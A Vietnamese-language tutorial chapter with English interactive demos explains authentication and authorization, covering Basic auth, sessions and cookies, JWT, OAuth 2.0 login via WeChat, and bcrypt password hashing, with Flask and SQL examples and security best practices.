Skip to content
Main Navigation Trang chủNgười mới & PMPhát triển Full StackPhát triển Nâng caoPhụ lục

Tiếng Việt

简体中文
English
日本語
繁體中文
한국어
Español
Français
Deutsch
العربية

Tiếng Việt

简体中文
English
日本語
繁體中文
한국어
Español
Français
Deutsch
العربية

Appearance

Sidebar Navigation

I. Nền tảng Máy tính

Phát Triển Full-Stack Trong Thời Đại Vibe Coding

Từ Khi Nhấn Nút Nguồn Đến Khi Truy Cập Website Đã Xảy Ra Điều Gì

Tu Transistor den CPU

Nguyên Lý Tổ Chức Máy Tính

He dieu hanh: Thue mot "Quan ly lon" cho may tinh

Ma hoa va Truyen tai Du lieu la gi?

Trinh duyet la mot He dieu hanh

Cau truc Du lieu

Nhap mon Tu duy Thuat toan

Ban do Ngon ngu Lap trinh

Nhap mon Nguyen ly Bien dich

Nhap mon He thong Kieu

II. Công cụ và Môi trường

Kiến thức cơ bản về Môi trường Phát triển Tích hợp (IDE)

Dòng lệnh và Shell Script

Git: Cỗ máy thời gian của code

Biến môi trường và PATH

Port và localhost

SSH và xác thực khóa

Trình quản lý gói

Nghệ thuật Debug

Biểu thức chính quy (Regex)

III. Trinh duyet va Frontend

Hướng dẫn chuyên sâu JavaScript

Hướng dẫn chuyên sâu TypeScript

Hướng Dẫn Chuyên Sâu Về Frontend Framework

Pipeline Kết Xuất Trình Duyệt

Hệ thống bố cục HTML / CSS

Hướng dẫn chuyên sâu về JavaScript Runtime

Bản chất của Framework Frontend

Triết lý quản lý state

Định tuyến & Điều hướng

Đồ họa và Hoạt ảnh (Canvas và những người bạn)

Cơ chế Giao tiếp Thời gian thực (Polling / SSE / WebSocket)

Đo lường và Tối ưu Hiệu suất Web

Toàn Cảnh Công Nghiệp Hóa Frontend

Thiết Kế Kiến Trúc Dự Án Frontend

Chiều Ẩn của Trang Web: Quốc tế hóa và Khả năng Truy cập

IV. Máy chủ và Backend

So sánh các ngôn ngữ backend

Ngôn ngữ client (Swift / Kotlin / Dart)

Giải pháp đa nền tảng (React Native / Flutter / Electron / Tauri)

Giao thức HTTP: "Ngôn ngữ giao tiếp" giữa frontend và backend

Hành Trình Toàn Diện Của Một Request

Bản chất của Web Framework

API nhập môn: hiểu "đối thoại giữa các chương trình" từ con số 0

Thiết kế API: "Giao thức đối thoại" giữa frontend và backend

Serialization: "Phiên dịch" dữ liệu

Hệ thống xác thực và ủy quyền

Đồng thời, Bất đồng bộ và Đa luồng

Các tầng và chiến lược của bộ nhớ đệm

Hàng đợi tin nhắn và Kiến trúc hướng sự kiện

Hàng đợi task bất đồng bộ và mô hình Producer-Consumer

Giới hạn tốc độ và kiểm soát backpressure

Nguyên lý công cụ tìm kiếm

Lưu trữ tệp và Lưu trữ đối tượng

Kiến Trúc Phân Tầng Backend

Thiết Kế Kiến Trúc Dự Án Backend

Ngôn ngữ chuyên biệt miền (DSL): Những "đoạn mã không giống mã" trong thế giới backend

V. Dữ liệu

Nguyên lý cơ sở dữ liệu (Index / Transaction / Tối ưu truy vấn)

Toàn cảnh mô hình dữ liệu (Document / Đồ thị / Chuỗi thời gian / Vector)

Theo dõi dữ liệu: Ghi lại người dùng đã làm gì trong ứng dụng

Phân tích dữ liệu: Khái niệm cốt lõi, logic và insight chuyên sâu

Thử nghiệm A/B: Đưa ra quyết định bằng dữ liệu

Trực quan hóa Dữ liệu và Bảng điều khiển

Quản trị dữ liệu và chất lượng dữ liệu

VI. Kiến trúc

Sự tiến hóa từ Monolith đến Microservices

Thách thức của hệ thống phân tán

Tính sẵn sàng cao và Khôi phục sau thảm họa

Phương pháp luận Thiết kế Hệ thống

VII. Hạ tầng

Linux Cơ bản

Container hóa Docker

Kubernetes

Tự động hóa CI / CD

Tên miền, DNS và HTTPS

Cân bằng tải & Gateway

Cổng gateway và Reverse Proxy

Thực hành nền tảng đám mây

Quản lý danh tính và quyền truy cập đám mây

Lưu trữ đối tượng & CDN

Hạ tầng dưới dạng Mã

Giám sát, Ghi nhật ký và Cảnh báo

Xử lý sự cố và Phản ứng khẩn cấp

VIII. Trí tuệ Nhân tạo

Lịch sử tóm tắt AI: Từ logic ký hiệu đến mô hình lớn trăm tỷ tham số

Mạng Nơ-ron và Học Sâu

Transformer và Cơ chế Attention: Động cơ cốt lõi của Mô hình Ngôn ngữ Lớn

Nguyên Lý Hoạt Động Của Mô Hình Ngôn Ngữ Lớn

Prompt Engineering (Kỹ thuật Prompt)

Kỹ thuật Ngữ cảnh (Context Engineering)

Mô hình Đa phương thức (Thị giác / Âm thanh / Video)

Nguyên lý Tạo ảnh

Nguyên lý Tổng hợp và Nhận dạng Giọng nói

Embedding và Truy xuất Vector

RAG: Tạo sinh tăng cường truy xuất

AI Agent và Gọi Công cụ

Giao thức AI Agent (MCP & A2A)

Tinh chỉnh và Triển khai Mô hình

Thiết Kế Ứng Dụng AI Native

Từ điển Năng lực AI

IX. Chất lượng Kỹ thuật

Chất lượng mã và Tái cấu trúc

Chiến lược kiểm thử

Design Pattern (Mẫu thiết kế)

Tư duy bảo mật và nền tảng tấn công - phòng thủ

Viết tài liệu kỹ thuật

Hợp tác mã nguồn mở

Phương pháp luận lựa chọn công nghệ

Điều hướng trang

Hệ thống xác thực và ủy quyền ​

💡 Hướng dẫn học tập: Chương này sẽ giúp bạn hiểu sâu về "hệ thống kiểm soát ra vào" của hệ thống backend -- xác thực và ủy quyền. Chúng ta sẽ bắt đầu từ khái niệm cơ bản nhất "bạn là ai", từng bước nắm vững các giải pháp xác thực hiện đại như Session, JWT, OAuth 2.0.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. Dẫn nhập: "hệ thống kiểm soát ra vào" của hệ thống ​

Bạn đăng nhập WeChat xong, tại sao tắt đi mở lại vẫn đang đăng nhập? Bạn truy cập Bilibili, tại sao biết bạn là hội viên VIP hay người dùng thường? Bạn dùng WeChat quét mã đăng nhập trang web bên thứ ba, tại sao không cần nhập mật khẩu?

Đằng sau tất cả đều có một hệ thống cốt lõi: Xác thực và Ủy quyền (Authentication & Authorization).

Nếu ví hệ thống backend như một tòa nhà:

  • Xác thực (Authentication): xác nhận "bạn là ai" (xác minh chứng minh thư/thẻ ra vào).
  • Ủy quyền (Authorization): xác nhận "bạn có thể đi đâu" (VIP được vào phòng VIP, người dùng thường thì không).

0.1 Tại sao cần xác thực? ​

Chỉ có một lý do: bảo vệ tài nguyên.

  • Bảo vệ quyền riêng tư: thông tin cá nhân, lịch sử chat của bạn, chỉ bạn mới xem được.
  • Kiểm soát quyền: admin có thể xóa người dùng, người dùng thường thì không.
  • Ngăn chặn lạm dụng: ngăn chặn gọi API độc hại, spam.
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 Demo tương tác: quy trình đăng nhập ​

Hãy cùng trải nghiệm một demo đăng nhập thực tế để hiểu cách xác thực và ủy quyền hoạt động.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

Điểm then chốt: xác thực là tuyến phòng thủ đầu tiên, mọi thao tác nhạy cảm đều phải xác minh danh tính trước.


1. Khái niệm cơ bản: Xác thực vs Ủy quyền ​

1.1 Xác thực (Authentication): bạn là ai? ​

Xác nhận danh tính của người dùng.

  • Ví dụ: nhập username password, quét vân tay, nhận diện khuôn mặt.
  • Đầu ra: một Token đại diện cho "bạn".
  • Tên viết tắt: AuthN

1.2 Ủy quyền (Authorization): bạn có thể làm gì? ​

Xác nhận người dùng có những quyền gì.

  • Ví dụ: admin có thể xóa bài viết, người dùng thường chỉ có thể like.
  • Đầu ra: cho phép hoặc từ chối truy cập.
  • Tên viết tắt: AuthZ

1.3 Mối quan hệ giữa hai khái niệm ​

Yêu cầu người dùng -> Xác thực (bạn là ai?) -> Ủy quyền (bạn có thể làm không?) -> Thực thi logic nghiệp vụ
                     |                        |
                Xác minh danh tính       Kiểm tra quyền
                (Token hợp lệ?)          (Có quyền delete không?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

Điểm then chốt: xác thực trước, ủy quyền sau. Chỉ khi xác nhận được "bạn là ai", mới có thể đánh giá "bạn có thể làm gì".


2. Lịch sử tiến hóa giải pháp ​

2.1 Thế hệ thứ nhất: HTTP Basic Authentication ​

Giải pháp cổ xưa nhất, đặt trực tiếp username password vào HTTP header.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • Ưu điểm: đơn giản, mọi trình duyệt đều hỗ trợ.
  • Nhược điểm:
    • Không an toàn (Base64 có thể giải mã, tương đương plain text).
    • Mỗi request đều phải gửi mật khẩu (dễ bị chặn bắt).
    • Không thể chủ động đăng xuất (trừ khi đóng trình duyệt).

Kết luận: chỉ phù hợp cho công cụ test nội bộ, tuyệt đối không dùng cho môi trường production.

2.2 Thế hệ thứ hai: Session + Cookie ​

Giải pháp kinh điển của phát triển Web.

Quy trình:

1. Người dùng đăng nhập (POST /login)
   -> Server xác minh username password
   -> Tạo Session (trong bộ nhớ server hoặc Redis)
   -> Trả về Set-Cookie: session_id=abc123

2. Các request tiếp theo
   -> Trình duyệt tự động gửi kèm Cookie: session_id=abc123
   -> Server dựa vào session_id tìm Session
   -> Tìm thấy thì coi là "bạn là bạn"

Ví dụ code:

python
# Backend (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # Xác minh username password
    user = db.authenticate(username, password)
    if user:
        # Tạo Session
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "Sai username hoặc mật khẩu"}, 401

@app.route("/api/admin/users")
def get_users():
    # Kiểm tra Session
    if "user_id" not in session:
        return {"error": "Chưa đăng nhập"}, 401

    # Kiểm tra quyền
    if session.get("role") != "admin":
        return {"error": "Không đủ quyền"}, 403

    # Thực thi logic nghiệp vụ
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

Ưu điểm:

  • Đơn giản trực quan, dễ hiểu.
  • Server có thể chủ động đăng xuất (xóa Session).

Nhược điểm:

  • Server có trạng thái: cần lưu Session, nhiều server cần chia sẻ (như Redis).
  • Khó cross-domain: Cookie mặc định không thể cross-domain (vấn đề CORS).
  • Tấn công CSRF: trang web độc hại có thể mạo danh Cookie của bạn.

Kết luận: phù hợp cho ứng dụng Web truyền thống (server-side rendering), không phù hợp cho mobile và SPA hiện đại.

2.3 Thế hệ thứ ba: Token (JWT) ​

Giải pháp chủ đạo của Web hiện đại.

Tư tưởng cốt lõi: không lưu trạng thái ở server, mã hóa thông tin người dùng thành Token, đặt ở client.

Cấu trúc JWT:

JWT = Header.Payload.Signature

Ví dụ:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header: thông tin thuật toán (như {"alg": "HS256", "typ": "JWT"}).
  • Payload: thông tin người dùng (như {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature: chữ ký (chống giả mạo).

Quy trình:

python
# 1. Người dùng đăng nhập
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # Tạo JWT
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # Hết hạn sau 24 giờ
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "Sai username hoặc mật khẩu"}, 401

# 2. Các request tiếp theo
@app.route("/api/admin/users")
def get_users():
    # Lấy Token từ Header
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "Không cung cấp Token"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Xác minh và parse Token
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token đã hết hạn"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token không hợp lệ"}, 401

    # Kiểm tra quyền
    if payload.get("role") != "admin":
        return {"error": "Không đủ quyền"}, 403

    # Thực thi logic nghiệp vụ
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661585,
  "exp": 1781665185
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

Ưu điểm:

  • Stateless: server không lưu Session, dễ scale ngang.
  • Thân thiện cross-domain: đặt trong Header, không bị giới hạn cross-domain của Cookie.
  • Thân thiện mobile: native App cũng dễ dàng sử dụng.
  • Thông tin phong phú: Payload có thể lưu thông tin người dùng, quyền hạn.

Nhược điểm:

  • Không thể chủ động đăng xuất: Token một khi đã phát hành, trước khi hết hạn vẫn có hiệu lực (trừ khi dùng blacklist).
  • Payload có thể đọc: mã hóa Base64, không thể lưu thông tin nhạy cảm (như mật khẩu).
  • Token quá lớn: mỗi request đều phải gửi kèm, vài trăm byte.

Kết luận: giải pháp tiêu chuẩn cho Web và mobile hiện đại.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0: đăng nhập bên thứ ba ​

Bạn chắc chắn đã thấy nút này: "Đăng nhập bằng WeChat", "Đăng nhập bằng Google".

Đây chính là OAuth 2.0: một framework ủy quyền (không phải xác thực!).

3.1 Các vai trò cốt lõi ​

Vai tròGiải thíchVí dụ
Resource OwnerChủ sở hữu tài nguyên (người dùng)Bạn
ClientỨng dụng bên thứ baMột trang web nào đó
Authorization ServerServer ủy quyềnWeChat, Google
Resource ServerServer tài nguyênAPI thông tin người dùng của WeChat

3.2 Chế độ Authorization Code (Authorization Code Flow) ​

Chế độ an toàn nhất, phù hợp cho server có backend.

Quy trình:

1. Người dùng nhấn "Đăng nhập bằng WeChat"
   -> Chuyển hướng đến trang ủy quyền WeChat
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. Người dùng quét mã và đồng ý ủy quyền
   -> WeChat chuyển hướng về trang web của bạn
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. Backend của bạn dùng code để đổi lấy access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   -> Trả về: { "access_token": "...", "openid": "..." }

4. Dùng access_token lấy thông tin người dùng
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   -> Trả về: { "nickname": "张三", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

Ví dụ code:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. Chuyển hướng đến trang ủy quyền WeChat
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. Lấy code
    code = request.args.get("code")
    state = request.args.get("state")

    # Xác minh state (chống CSRF)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. Dùng code đổi access_token
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. Lấy thông tin người dùng
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. Tạo hoặc cập nhật người dùng cục bộ
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. Tạo JWT của hệ thống
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

Điểm then chốt:

  • code chỉ dùng được một lần: dùng xong là hết hiệu lực, chống chặn bắt.
  • state chống CSRF: tạo chuỗi ngẫu nhiên, xác minh khi callback, chống trang web độc hại giả mạo.
  • redirect_uri phải khớp: đăng ký trước trên nền tảng WeChat, chống tấn công chuyển hướng.

3.3 Các chế độ khác ​

Chế độTình huống áp dụngMức độ an toàn
Authorization CodeServer có backend⭐⭐⭐⭐⭐
ImplicitỨng dụng pure frontend (SPA)⭐⭐⭐ (không khuyến nghị)
Resource Owner PasswordỨng dụng đáng tin cậy cao (như App chính thức)⭐⭐
Client CredentialsGiao tiếp server-to-server (không có người dùng)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. Thực chiến: thiết kế một hệ thống xác thực hoàn chỉnh ​

4.1 Phân tích yêu cầu ​

  • Hỗ trợ đa nền tảng: Web, iOS, Android.
  • Đăng nhập bên thứ ba: WeChat, Google.
  • Kiểm soát quyền: người dùng thường, VIP, admin.
  • An toàn: chống spam, chống chiếm đoạt, chống replay.

4.2 Thiết kế kiến trúc ​

┌─────────────┐
│    Client    │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting                │
│  - Token Validation             │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service               │
│  - Đăng ký, đăng nhập           │
│  - Phát hành và xác minh Token  │
│  - Tích hợp OAuth 2.0           │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services             │
│  - User Service                  │
│  - Order Service                 │
│  - Payment Service               │
└─────────────────────────────────┘

4.3 Thiết kế database ​

sql
-- Bảng người dùng
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt hash
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- Bảng liên kết đăng nhập bên thứ ba
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- ID người dùng bên thứ ba
    access_token TEXT,  -- lưu mã hóa
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Token blacklist (dùng để chủ động đăng xuất)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JTI của JWT (định danh duy nhất)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 Triển khai code ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # Môi trường production dùng biến môi trường

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. Kiểm tra username đã tồn tại chưa
        if db.get_user_by_username(username):
            raise ValueError("Username đã tồn tại")

        # 2. Hash mật khẩu (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. Tạo người dùng
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Phát hành Token
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. Truy vấn người dùng
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("Sai username hoặc mật khẩu")

        # 2. Xác minh mật khẩu
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("Sai username hoặc mật khẩu")

        # 3. Phát hành Token
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (ngắn hạn, ví dụ 1 giờ)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # Định danh duy nhất
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (dài hạn, ví dụ 30 ngày)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # Thời gian hết hạn access_token (giây)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token đã hết hạn")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token không hợp lệ")

    def logout(self, token: str):
        # Đưa Token vào blacklist
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # Kiểm tra có trong blacklist không
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token đã bị đăng xuất")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token đã hết hạn")
        except jwt.InvalidTokenError:
            raise ValueError("Token không hợp lệ")

# API decorator
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Lấy Token từ Header
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "Không cung cấp Token"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Xác minh Token
                payload = auth_service.verify_token(token)
                # Inject thông tin người dùng vào request context
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "Chưa đăng nhập"}, 401

            if request.user["role"] not in roles:
                return {"error": "Không đủ quyền"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# Ví dụ sử dụng
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661585,
  "exp": 1781665185
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. Best practice về bảo mật ​

5.1 Lưu trữ mật khẩu ​

❌ Cách làm sai:

python
# Lưu plain text (tuyệt đối không được!)
db.save_password(username, password)

# Hash MD5 / SHA1 (không đủ an toàn, dễ bị rainbow table phá)
hash = md5(password)
db.save_password(username, hash)

✅ Cách làm đúng:

python
# bcrypt (hash thích ứng, hash chậm chống brute force)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # rounds càng lớn càng an toàn, nhưng cũng càng chậm
)

# Xác minh
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # Mật khẩu đúng

Tại sao dùng bcrypt?

  • Chậm: cố tình thiết kế rất chậm (mili giây), chống brute force.
  • Thích ứng: có thể điều chỉnh rounds, tăng cường khi phần cứng mạnh hơn.
  • Có muối (salt): tự động có random salt, chống rainbow table.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
